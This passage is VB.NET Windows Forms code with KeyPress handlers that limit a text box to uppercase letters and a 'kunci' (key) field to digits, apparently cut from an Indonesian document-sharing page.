Dim tombol As Integer = Asc(e.KeyChar)
If Not (((tombol >= 65) And (tombol <= 90)) Or (tombol = 8)) Then
e.Handled = True

End If
End Sub

Private Sub kunci_KeyPress(ByVal sender As Object, ByVal e As
System.Windows.Forms.KeyPressEventArgs) Handles kunci.KeyPress
e.KeyChar = UCase(e.KeyChar)
Dim tombol As Integer = Asc(e.KeyChar)

If Not (((tombol >= 48) And (tombol <= 57)) Or (tombol = 8)) Then
e.Handled = True

End If
End Sub

Private Sub kunci_TextChanged(ByVal sender As System.Object, ByVal e As
System.EventArgs) Handles kunci.TextChanged

End Sub
End Class

Anda mungkin juga menyukai